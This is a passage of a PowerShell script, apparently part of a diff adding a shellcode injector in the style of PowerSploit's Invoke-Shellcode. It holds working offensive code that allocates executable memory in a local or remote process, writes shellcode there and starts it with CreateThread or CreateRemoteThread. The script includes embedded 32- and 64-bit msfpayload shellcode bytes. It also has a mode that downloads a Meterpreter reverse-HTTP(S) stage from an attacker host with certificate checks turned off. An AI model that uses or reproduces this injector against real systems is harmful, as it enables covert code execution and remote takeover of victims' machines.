$UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + if (!$PowerShell32bit) { + # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell + # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function + + # Pull out just the content of the this script's invocation. + $RootInvocation = $MyInvocation.Line + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", + "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } + + if ( !$Response ) + { + # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function + Return + } + + # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. + if ($MyInvocation.BoundParameters['Force']) + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" + } + else + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" + } + + $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) + $EncodedCommand = [Convert]::ToBase64String($CommandBytes) + + $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" + Invoke-Expression -Command $Execute | Out-Null + + # Exit the script since the shellcode will be running from x86 PowerShell + Return + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} + } + } + + if ($Legacy) + { + # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + } else { + + # Generate a URI that passes the test + $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} + $SumTest = $False + + while ($SumTest -eq $False) + { + $GeneratedUri = $CharArray | Get-Random -Count 4 + $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + $RequestUri = -join $GeneratedUri + + $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" + } + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + if ($Proxy) + { + $WebProxyObject = New-Object System.Net.WebProxy + $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer + + # if there is no proxy set, then continue without it + if ($ProxyAddress) + { + + $WebProxyObject.Address = $ProxyAddress + $WebProxyObject.UseDefaultCredentials = $True + $WebClientObject.Proxy = $WebProxyObject + } + } + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + else + { + # Pop a calc... or whatever shellcode you decide to place in here + # I sincerely hope you trust that this shellcode actually pops a calc... + # Insert your shellcode here in the for 0xXX,0xXX,... + # 32-bit payload + # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit payload + # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } + } +} \ No newline at end of file